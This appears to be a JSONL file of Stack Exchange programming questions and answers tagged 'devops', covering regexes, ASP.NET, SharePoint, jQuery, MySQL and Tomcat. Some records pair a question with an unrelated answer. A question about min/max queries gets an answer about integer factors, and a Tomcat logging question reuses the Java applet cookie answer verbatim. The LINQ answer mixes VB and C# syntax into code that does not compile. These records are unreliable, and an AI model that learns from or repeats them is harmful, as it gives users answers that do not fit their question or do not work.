{"id": "hf_08f073688cd6", "question": "<p>Over the years I have slowly developed a <a href=\"http://en.wikipedia.org/wiki/Regular_expression\" rel=\"noreferrer\">regular expression</a> that validates <em>most</em> email addresses correctly, assuming they don't use an IP address as the server part.</p>\n<p>I use it in several PHP programs, and it works most of the time.  However, from time to time I get contacted by someone that is having trouble with a site that uses it, and I end up having to make some adjustment (most recently I realized that I wasn't allowing four-character <a href=\"https://en.wikipedia.org/wiki/Top-level_domain\" rel=\"noreferrer\">TLDs</a>).</p>\n<p><em>What is the best regular expression you have or have seen for validating emails?</em></p>\n<p>I've seen several solutions that use functions that use several shorter expressions, but I'd rather have one long complex expression in a simple function instead of several short expression in a more complex function.</p>\n", "question_body": "", "answer": "I use\n```\n```\n^\\w+([-+.']\\w+)*@\\w+([-.]\\w+)*\\.\\w+([-.]\\w+)*$\n```\n```\nWhich is the one used in ASP.NET by the RegularExpressionValidator.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:47.095826"}
{"id": "hf_188dd7c4f503", "question": "<p>I just added xUnit to our test project (for the Asserts, we're still using MSTest as the framework) and immediately the test runs refused to execute any of the tests. This is the error message:</p>\n\n<blockquote>\n  <p>Failed to queue test run '{ .... }'\n  Test run deployment issue: The\n  location of the file or directory\n  '...xUnit.dll' is not trusted.</p>\n</blockquote>\n", "question_body": "", "answer": "It took me a few tries to find the answer in Google, so I'm putting it here in case anyone else runs into the same problem. A detailed description can be found at\nthis blog posting\n.\nBasically, the fix invovles right-clicking on the dll file (xunit.dll for example) in Windows Explorer, going to Properties, and clicking \"Unblock\" at the bottom of the tab next to the 'Security' text. It seems that Vista / Windows 2008 will automatically mark assemblies that come from other machines or the internet as unsafe.\nAs a couple commenters have mentioned, you may also need to restart Visual Studio for this to take effect.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:47.114581"}
{"id": "hf_f6fd32f7c688", "question": "<p>int l = strlen(s);</p>\n\n<p>warning C4244: '=' : conversion from '__w64 int' to 'int', possible loss of data</p>\n\n<p>I need to replace strlen with an inline function\nint l = new_strlen(s);</p>\n\n<p>But how do I portably get the result of the strlen into the int without a warning, and without using pragmas?  I can guarantee there aren't more than 2 billion characters in my string!</p>\n\n<p>All the obvious things like reinterpret_cast, static_cast  also produce errors or warnings.</p>\n\n<p>EDIT: Argh. a c-style cast: (int) does work. I had been convinced that it did not.</p>\n", "question_body": "", "answer": "Cast it:\n```\n```\nint i = (int) strlen(s);\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:47.152075"}
{"id": "hf_3599f042a8d6", "question": "<p>Not of the site collection itself, but the individual SPWeb's.</p>\n", "question_body": "", "answer": "You should take a look at this blog entry by Alexander Meijers :\nSize of SPWeb based on its Folders and Files\nIt provides a clever way of finding the size of an SPWeb or SPFolder by iterating through his content.\n```\n```\nprivate long GetWebSize(SPWeb web)\n{\n    long total = 0;\n\n    foreach (SPFolder folder in web.Folders)\n    {\n        total += GetFolderSize(folder);\n    }\n\n    foreach (SPWeb subweb in web.Webs)\n    {\n        total += GetWebSize(subweb);\n        subweb.Dispose();\n    }\n\n    return total;\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:47.173904"}
{"id": "hf_bf573dcc4839", "question": "<p>For example, I am trying to get a min date, a max date, and a sum in different instances. I am trying to avoid hard coding a SQL string or looping through an IList to get these values.</p>\n", "question_body": "", "answer": "For starters, instead of beginning your search at n / 2, start it at the square root of n. You'll get half of the factors, the other half being their complement.\neg:\n```\n```\nn = 27\nstart at floor(sqrt(27)) = 5\nis 5 a factor? no\nis 4 a factor? no\nis 3 a factor? yes. 27 / 3 = 9. 9 is also a factor.\nis 2 a factor? no.\nfactors are 3 and 9.\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:47.224581"}
{"id": "hf_553c3e219225", "question": "<p>On my reading spree, I stumbled upon something called <a href=\"http://en.wikipedia.org/wiki/Intentional_programming\" rel=\"noreferrer\">Intentional Programming</a>.\nI understood it somewhat, but I not fully. If anyone can explain it in better detail, please do. Is it being used in any real application?</p>\n", "question_body": "", "answer": "It appears to be a method of programming that allows the programmer to expand what is actually in the language to more closely follow their original intent, rather than forcing the programmers intent into the constrained syntax of the language.\nIt explicitly mentions LISP as a language that supports this, so I'd suggest you read up on this great language :) LISP Macros are exactly what are described in the article, allowing you to indefinitely expand the language to cover almost anything you would care to express. (A fairly common outcome of large LISP systems is that you end up with a domain specific language that is very good for writing specific applications, i.e. writing a word processor ends up with a word processor specific language).\nFor your last part, yes LISP (and thus Intentional Programming) is used in some projects. Paul Graham is a great proponent of LISP, and other examples of it include the original Crash Bandicoot (a game object creation system was created in LISP for this, including a LISP PlayStation compiler)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:47.247850"}
{"id": "hf_09bffb9b50d7", "question": "<p>Why is the <em>CheckBoxList</em> removed from ASP.NET MVC preview release 5? </p>\n\n<p>Currently I don't see any way in which I can create a list of checkboxes (with similar names but different id's) so people can select 0-1-more options from the list.</p>\n\n<p>There is an <code>CheckBoxList</code> list present in the MVCContrib library, but it is deprecated. I can understand this for the other HtmlHelpers, but there does not seem to be a replacement for the <code>CheckBoxList</code> in preview 5.</p>\n\n<p>I would like to create a very simple list like you see below, but what is the best way to do this using ASP.NET MVC preview release 5?</p>\n\n<pre><code>&lt;INPUT TYPE=\"checkbox\" NAME=\"Inhoud\" VALUE=\"goed\"&gt; goed\n&lt;INPUT TYPE=\"checkbox\" NAME=\"Inhoud\" VALUE=\"redelijk\"&gt; redelijk\n&lt;INPUT TYPE=\"checkbox\" NAME=\"Inhoud\" VALUE=\"matig\"&gt; matig\n&lt;INPUT TYPE=\"checkbox\" NAME=\"Inhoud\" VALUE=\"slecht\"&gt; slecht\n</code></pre>\n", "question_body": "", "answer": "A for loop in the view to generate the checkboxes\n```\n```\n<% foreach(Inhoud i in ViewData[\"InhoudList\"] as List<Inhoud>) { %>\n  <input type=\"checkbox\" name=\"Inhoud\" value=\"<%= i.name %>\" checked=\"checked\" /> <%= i.name %>\n<% } %>\n```\n```\nDon't use\n```\nHtml.Checkbox\n```\n, as that will generate two values for each item in the list (as it uses a hidden input for false values)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:47.271687"}
{"id": "hf_2ff16571f22a", "question": "<p>I am working on a .NET application that displays multiple charts.  My users would like an easy way to say \"take chart #3 and maximize it on my fourth monitor\".</p>\n\n<p>How can I determine the number of monitors so I can give them a selection of \"monitor #1, monitor #2, etc\"?  (Not every user has the same number of monitors.)</p>\n\n<p>And once the user has selected a particular monitor, how can I use that information to position the chart they're trying to maximize?</p>\n", "question_body": "", "answer": "The\nScreen\nclass helps you a lot by finding the\navailable screens\n.\nWhen you \"maximize\" a form, the form will automatically maximize to the size of the Screen the form is in.\nYou can position it yourself, or let Windows take care of it, by just placing the form on the right \"Screen\", and maximizing it. Or use the\nWorkingArea\nof the screen, and fill that yourself.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:47.311978"}
{"id": "hf_a2122acaca46", "question": "<p>I've heard people talking about \"base 64 encoding\" here and there.  What is it used for?</p>\n", "question_body": "", "answer": "Base-64 encoding is a way of taking binary data and turning it into text so that it's more easily transmitted in things like e-mail and HTML form data.\nhttp://en.wikipedia.org/wiki/Base64", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:47.473800"}
{"id": "hf_330d4904f0bf", "question": "<p>I have a strange issue: I am using SPContext.Current.Web in a .aspx page, but at the end, I get a \"Trying to use an SPWeb object that has been closed or disposed and is no longer valid.\" error message.</p>\n\n<p>From what I see, SPContext.Current.Web is Disposed by someone, <strong>but I have no idea where</strong>. I just wonder: With Visual Studio 2005's Debugger, can I somehow see where/who disposed an Object? As I neither create nor have the source code, setting breakpoints is a problem.</p>\n\n<p>What would be a good approach for finding out who disposes a given object where, without just randomly commenting out lines?</p>\n\n<p>(Note: The Issue has been resolve, but the question itself also applies outside of Sharepoint)</p>\n", "question_body": "", "answer": "Check if this helps:\nAdd a new breakpoint using\nDebug > New Breakpoint > Break at Function... (Ctrl+B)\n.\nEnter\nMicrosoft.SharePoint.SPWeb.Dispose\nin the Function edit box.\nDismiss the dialog box that says that Intellisense could not find the specified location.\nRun under the debugger.\nWhen the breakpoint is hit you can see on the call stack who called the Dispose method. Hopefully for some of the times the breakpoint is hit one stack frame is in your source code.\nIf a dialog appears saying that\nThere is no source code available for the current location\nwhen the breakpoint is hit dismiss it.\nNote:\nBecause I do not have SharePoint installed I have tested this with\n```\nSystem.IO.StreamReader.Dispose\n```\nbut I am guessing that this should also work for SPContext.Current.Web. Drop a note on this.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:47.508915"}
{"id": "hf_7adc8d338403", "question": "<p>I've done this a <strong>million</strong> times ... setting up a developer work station.  </p>\n\n<p>Is there a best practices, or installation checklist for installing Microsoft development software on a work station? What about applying updates and/or service packs?  Is there a specific order for doing this, in hopes of minimizing any install issues.</p>\n\n<p>Our current software library consists of:</p>\n\n<ul>\n<li>Visual Studio 2003</li>\n<li>Visual Studio 2008 </li>\n<li>SQL Server 2005  </li>\n<li>Microsoft Office 2007</li>\n</ul>\n\n<p>We do use some other tools, but I usually hold off on installing them once I get a <strong>good</strong> build from Microsoft ... whether a <strong>good</strong> build is possible or not is another topic! =)</p>\n\n<p>Also, do you use any software like <a href=\"http://www.symantec.com/norton/ghost\" rel=\"nofollow noreferrer\">Ghost</a> to create images of work station?  Some easy way to restore your work station.</p>\n", "question_body": "", "answer": "I tend to go in chronological order. The oldest software to the most recent.\nIn your case I would do something like\nOffice 2007 (I usually install office first)\nVS2003\nInstall VS2003 updates through Microsoft update\nSQL Server 2005\nInstall SQL Server 2005 through Microsoft Update\nAnd so on...\nWhen the setup is over and the machine is configured I do a full base image with\nAcronis True Image\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:47.609755"}
{"id": "hf_01974b7a1cd1", "question": "<p>I need to create a database table to store different changelog/auditing\n(when something was added, deleted, modified, etc). I don't need to store particularly detailed info, so I was thinking something along the lines of:</p>\n<ul>\n<li>id (for the event)</li>\n<li>user that triggered it</li>\n<li>event name</li>\n<li>event description</li>\n<li>timestamp of the event</li>\n</ul>\n<p>Am I missing something here? Obviously, I can keep improving the design, although I don't plan on making it complicated (creating other tables for event types or stuff like that is out of the question since it's a complication for my need).</p>\n", "question_body": "", "answer": "There are many ways to do this.  My favorite way is:\nAdd a\n```\nmod_user\n```\nfield to your source table (the one you want to log).\nCreate a log table that contains the fields you want to log, plus a\n```\nlog_datetime\n```\nand\n```\nseq_num\n```\nfield.\n```\nseq_num\n```\nis the primary key.\nBuild a trigger on the source table that inserts the current record into the log table whenever any monitored field is changed.\nNow you've got a record of every change and who made it.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:47.640948"}
{"id": "hf_b934dfc3bbe2", "question": "<p>I need to add multiple empty divs to a container element using jQuery.</p>\n\n<p>At the moment I am generating a string containing the empty html using a loop</p>\n\n<pre><code>divstr = '&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;...&lt;div&gt;&lt;/div&gt;';\n</code></pre>\n\n<p>and then injecting that into my container:</p>\n\n<pre><code>$('#container').html(divstr);\n</code></pre>\n\n<p>Is there a more elegant way to insert multiple, identical elements?</p>\n\n<p>I'm hoping to find something that wouldn't break chaining but wouldn't bring the browser to its knees. A chainable <code>.repeat()</code> plugin?</p>\n", "question_body": "", "answer": "You can use a regular loop with the Jquery\nappend\nfunction.\n```\n```\nfor(i=0;i<10; i++){\n    $('#container').append(\"<div></div>\");\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:47.671093"}
{"id": "hf_1ef8b5aea5f9", "question": "<p>I am using wordpress and use custom permalink structure: /%category%/%postname%/</p>\n\n<p>My problem is that a decent number of people link to the site without including the trailing slash in the URL, so users get a 404 page.</p>\n\n<p>I'm using the default .htaccess file that comes with wordpress because no solution I've tried has worked. I've tried using the Redirection plugin, with no success. </p>\n\n<p>I'd gladly link to the site, but I don't want it to be construed as self-promotion. If you ask, I'll provide a link.</p>\n\n<p>Could anyone help me find a plugin or provide some .htaccess entries to help resolve this?</p>\n\n<p>Thanks very much!</p>\n", "question_body": "", "answer": "Use:\n```\n```\n/%category%/%postname%(/?)\n```\n```\nin your .htaccess file.\nThe question mark denotes an optional character sequence.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:47.757934"}
{"id": "hf_25365bb013cd", "question": "<p>For the past 2 years-(ish) I've been using <a href=\"http://maven.apache.org\" rel=\"nofollow noreferrer\">Maven2</a> for my build/continuous integration solution.  I used <a href=\"http://ant.apache.org\" rel=\"nofollow noreferrer\">Ant</a> a bit before that but really didn't get a lot of experience with it.  Now I've taken a new job and the team I'm on now uses Ant.  </p>\n\n<p>What I'm wondering about is this:</p>\n\n<p>In Maven we had directory conventions for seperating our java source and files and java test files (<a href=\"http://junit.org\" rel=\"nofollow noreferrer\">JUnit</a> tests).  It looked like this:</p>\n\n<pre><code>Project-\n  -src/main/java\n  -src/test/java\n</code></pre>\n\n<p>This way your tests are separate from your source/production code and won't be built/deployed as such.</p>\n\n<p>Going over the Ant documentation I don't really see any convention for this. Am I missing something?  Is there a similar convention in Ant?</p>\n", "question_body": "", "answer": "My experience with ant -- which is our primary build tool for Java source, so make of this what you will -- is that there are no such\nformal\nconventions.  Many source projects I've seen organize things in a similar manner; JBoss uses <module>/src/main for sources, etc...  Ant just uses whatever conventions you want, which makes it an ideal tool to integrate into a larger project building framework.\nAt any rate, the Maven conventions work just fine for Ant, so if you've already got them in place, just re-use the same structures.  Not only is it easier for you to keep track of where things are, when you use a familiar structure, but if you ever decide to mavenize the project, you'll already be set.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:47.780941"}
{"id": "hf_7725e5716dc1", "question": "<p>I'd like to do something like this:</p>\n\n<pre><code>Dim Foo as String = \"a,b,c,d,e\"\nDim Boo as List(of String) = Foo.Split(\",\"c)\n</code></pre>\n\n<p>Of course <code>Foo.Split</code> returns a one-dimensional array of <code>String</code>, not a generic <code>List</code>. Is there a way to do this without iterating through the array to turn it into a generic <code>List</code>?</p>\n", "question_body": "", "answer": "If you use Linq, you can use the ToList() extension method\n```\n```\nDim strings As List<string> = string_variable.Split().ToList<string>();\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:47.804485"}
{"id": "hf_7108ff25d1f5", "question": "<p>Our WinForms application has been reported to occasionally just close on its own.  It neither shows our own crash error submit dialog nor Windows' error submit dialog, it just closes and is gone, often when the person was afk and not doing anything with the application.  It seems to be a semi-rare occurrence, maybe like 2-3 times a month, and it's happened to more than one person.  I have no idea where to start with getting a repro case or where to begin tracking this down.</p>\n\n<p>C#\n.NET 2.0\nReported cases are on Win XP</p>\n\n<p>Anyone have any ideas?</p>\n", "question_body": "", "answer": "Exceptions will cause an app to \"disappear\". Check the Event logs to see if anything was there.\nCheck task manager to see if the process is still present when the window disappears. I have had explorer crash and fail to redraw the window until it was Alt-Tabbed or Switched-To (from task manager).\nDont put it past the users to conveniently forget they are closing the app. You may want to put some logging logic in the app to log user initiated closures. Next time it \"disappears\" you can check for any log entries.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:47.831520"}
{"id": "hf_b16c68a0170c", "question": "<p>Can some one post an example of using syslog outputter for log4r, I am currently using stdout but want to log to syslog.</p>\n\n<pre><code>mylog = Logger.new 'mylog'\nmylog.outputters = Outputter.stdout\nmylog.info \"Starting up.\"\n</code></pre>\n\n<p>raj</p>\n\n<hr>\n\n<p>Thanks also to the following blog posts.<br> </p>\n\n<p><a href=\"http://angrez.blogspot.com/2006/12/log4r-usage-and-examples.html\" rel=\"nofollow noreferrer\">Angrez's blog: Log4r - Usage and Examples</a></p>\n\n<p><a href=\"http://programmingstuff.wikidot.com/log4r\" rel=\"nofollow noreferrer\">ProgrammingStuff: Log4r</a></p>\n", "question_body": "", "answer": "Kind of lame answering my own question, but I found answer to this and adding it for later searches.\nFor some reason I need to require log4r/outputter/syslogoutputter explicitly other wise SyslogOutputter would cause \"uninitialized constant SyslogOutputter (NameError)\" error. Other outputters do not seem to have this problem.\n```\n```\nrequire 'rubygems'\nrequire 'log4r'\nrequire 'log4r/outputter/syslogoutputter'\nmylog = Logger.new 'mylog'\nmylog.outputters = SyslogOutputter.new(\"f1\", :ident => \"myscript\")\nmylog.info \"Starting up.\"\n```\n```\nraj", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:47.855013"}
{"id": "hf_9a78f50a885d", "question": "<p>In MySQL, how do I get a list of all foreign key constraints pointing to a particular table? a particular column? This is the same thing as <a href=\"https://stackoverflow.com/questions/85978/query-a-tables-foreign-key-relationships\">this Oracle question</a>, but for MySQL.</p>\n", "question_body": "", "answer": "If you use InnoDB and defined FK's you could query the information_schema database e.g.:\n```\n```\nSELECT * FROM information_schema.TABLE_CONSTRAINTS \nWHERE information_schema.TABLE_CONSTRAINTS.CONSTRAINT_TYPE = 'FOREIGN KEY' \nAND information_schema.TABLE_CONSTRAINTS.TABLE_SCHEMA = 'myschema'\nAND information_schema.TABLE_CONSTRAINTS.TABLE_NAME = 'mytable';\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:47.890953"}
{"id": "hf_35b44a397027", "question": "<p>We are using Linq To SQL with our own data context logic that executes the one linq query across multiple databases. When we get the results back, we need the database for each of the rows. So...</p>\n\n<p>I want to have a property on my class that will return the database name (SQL Server, so DB_NAME()). How can I do this in Linq To Sql?</p>\n\n<p><strong>NOTE: We have hundreds of databases and do not want to put views in each db.  The return should come back as just another property on each row of the return result set.</strong></p>\n", "question_body": "", "answer": "How are you iterating through the different databases? Could you just include information from the context in the query? For example:\n```\n```\nDim results = _\n    From x In myContext.MyTables _\n    Select x, info = myContext.Connection.ConnectionString\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:47.912559"}
{"id": "hf_db8dc59bfc60", "question": "<p>I can't find documentation for it, even on MSDN...</p>\n", "question_body": "", "answer": "Some reasoning here:\nhttp://www.tech-archive.net/Archive/VC/microsoft.public.vc.language/2005-08/msg00589.html", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:47.936199"}
{"id": "hf_fc01801aa500", "question": "<p>Does Geronimo provides a standalone transaction manager?\nAnd if it does, is it possible to use it in Tomcat?</p>\n", "question_body": "", "answer": "Apache OpenEJB\nis embedded implementation of Geronimo EJB container that includes Transaction Manager. OpenEJB can be embedded into Tomcat which is one of its intended usages.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:48.019790"}
{"id": "hf_190f3465a3d8", "question": "<p>In ASP.NET, I'm looking for a way to audit a user leaving my application. To be specific, I'd like to insert a 'logout' record in an audit table in SQL Server when the user's session is abandoned/destroyed for any reason (not necessarily because of a call to session.abandon)</p>\n\n<p>I have a 'SessionHelper' class that manages the session setters/getters.</p>\n\n<p>I've tried posting back in Session_End in Global.asax, but it never fired this event even after the timeout expired.</p>\n\n<p>I've tried overriding 'finalize' in the SessionHelper class and doing it there when the class is destroyed, but it did not fire that event either.</p>\n\n<p>I'd try implementing IDisposable in the SessionHelper, but I don't know where to call it so that it always gets called.</p>\n\n<p>What is the proper way to audit a user leaving your ASP.NET application?</p>\n\n<p>Thank you!</p>\n", "question_body": "", "answer": "Note sure about the \"proper way\" but here's how I've done it in the past.\nHave a \"is active\" date-Time stamp associated with the user record in the database. Everytime the user accesses a page, that is updated to the current time. If someone hasn't accessed the page in say 15 minutes, then that user is recorded as a \"logout\" event, and the timestamp is set to NULL.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:48.067478"}
{"id": "hf_87d771f2d5cd", "question": "<p>I have a Java applet that runs inside a forms-authenticated aspx page. In the .NET 1.1 version of my site, the applet has access to the session cookie and is able to retrieve a file from the server, but in the .NET 2.0 version it fails to authenticate.</p>\n\n<p>I have seen a couple of forum posts elsewhere that state that 2.0 sets cookies to HttpOnly by default, but the solutions given haven't worked for me so far. I also read somewhere that 2.0 may be discriminating based on user-agent.</p>\n\n<p>Does anyone have any experience or insight into this?</p>\n", "question_body": "", "answer": "Filip's answer isn't entirely correct. I ran a program to sniff the HTTP headers on my workstation, and the Java applet does in fact present the ASP.NET authentication ticket in some circumstances - just not reliably enough for my needs.\nEventually I did find a solution to this, but it didn't entirely solve my problem. You can add an entry to the web.config in .NET 2.0:\n```\n<httpCookies httpOnlyCookies=\"false\" />\n```\n; but this didn't work for all my users.\nThe long term solution turned out to be modifying the Java applet so that it doesn't need to retrieve anything from the web server.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:48.091534"}
{"id": "hf_5ee65bfc46c7", "question": "<p>I'm currently logging via the simplest of methods within my servlet using Tomcat.  I use the ServletConfig.getServletContext().log to record activity.  This writes to the localhost.YYYY-MM-DD.log in $TOMCAT_HOME/logs.</p>\n\n<p>I don't want to get away from the simplicity of this logging mechanism unless absolutely necessary.  But I would like to name my log file.  Rather than \"localhost\".YYYY-MM-DD.log, is there a way to have it write to \"myAppName\".YYYY-MM-DD.log.  I know I could create my own mechanism, but again, I looking for simplicity here.</p>\n\n<p>I'm hoping to stay away from a complete framework like Log4j.</p>\n", "question_body": "", "answer": "Filip's answer isn't entirely correct. I ran a program to sniff the HTTP headers on my workstation, and the Java applet does in fact present the ASP.NET authentication ticket in some circumstances - just not reliably enough for my needs.\nEventually I did find a solution to this, but it didn't entirely solve my problem. You can add an entry to the web.config in .NET 2.0:\n```\n<httpCookies httpOnlyCookies=\"false\" />\n```\n; but this didn't work for all my users.\nThe long term solution turned out to be modifying the Java applet so that it doesn't need to retrieve anything from the web server.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:48.115381"}
{"id": "hf_b4cd3d5b8674", "question": "<p>How do I concatenate two <code>std::vector</code>s?</p>\n", "question_body": "", "answer": "I would use the\ninsert function\n, something like:\n```\n```\nvector<int> a, b;\n//fill with data\nb.insert(b.end(), a.begin(), a.end());\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:48.162317"}
{"id": "hf_3d42c32ed010", "question": "<p>I have a one-dimensional array of strings in JavaScript that I'd like to turn into a comma-separated list. Is there a simple way in garden-variety JavaScript (or jQuery) to turn that into a comma-separated list? (I know how to iterate through the array and build the string myself by concatenation if that's the only way.)</p>\n", "question_body": "", "answer": "The\nArray.prototype.join()\nmethod:\n```\n```\nvar arr = [\"Zero\", \"One\", \"Two\"];\n\ndocument.write(arr.join(\", \"));\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:48.186210"}
{"id": "hf_293be3f46965", "question": "<p>I have to preface this with the fact that I love jQuery as a JavaScript language extension and YUI as a rich set of free controls.  So here is my question, is there going to be any problems down the line if I mix jQuery and YUI together in an MVC app I am working on.</p>\n\n<p>I want to use jQuery for the heavy lifting on the DOM and I want to use YUI for the rich user control set.  This is an internal application and will never see the light of day outside of the organization I work for.  </p>\n\n<p>If anybody has experience with mixing these two frameworks I would love to hear what your experience has been.</p>\n", "question_body": "", "answer": "Speaking from some experience in developing a small tool myself, I've used YUI's rich control set with Prototype for DOM manipulation in the past and experienced no issues. Admittedly, this was a small tool that didn't use a wide array of the controls.\nEven so, I'm always hesitant to use multiple frameworks on my web projects; however, if you're only using jQuery's DOM functionality and YUI's control functionality, then I think you're fine - there's not really a conflict of interest there. Plus, with jQuery's noConflict() mode and YUI's namespacing, the two frameworks really shouldn't trump one another.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:48.233000"}
{"id": "hf_a582e366be1d", "question": "<p>I have an ASP.NET web page with a Login control on it.  When I hit Enter, the Login button doesn't fire; instead the page submits, doing nothing.</p>\n\n<p>The standard solution to this that I've found online is to enclose the Login control in a Panel, then set the Panel default button.  But apparently that doesn't work so well if the page has a master page.  I've tried setting the default button in code with <em>control</em>.ID, <em>control</em>.ClientID, and <em>control</em>.UniqueID, and in each case I get:</p>\n\n<blockquote>\n  <p>The DefaultButton of panelName must be the ID of a control of type IButtonControl.</p>\n</blockquote>\n\n<p>I'm sure there's a way to do this with JavaScript, but I'd really like to do it with plain old C# code if possible.  Is it possible?</p>\n", "question_body": "", "answer": "you have to add something like this in page load...\n```\n```\ntxtPassword.Attributes.Add(\"onKeyPress\", \"javascript:if (event.keyCode == 13) __doPostBack('\" + lnkSubmit.UniqueID + \"','')\")\n```\n```\nthe password textbox has an onKeyPress attribute added that will force a doPostBack on the submit button if the \"Enter\" key is pressed. 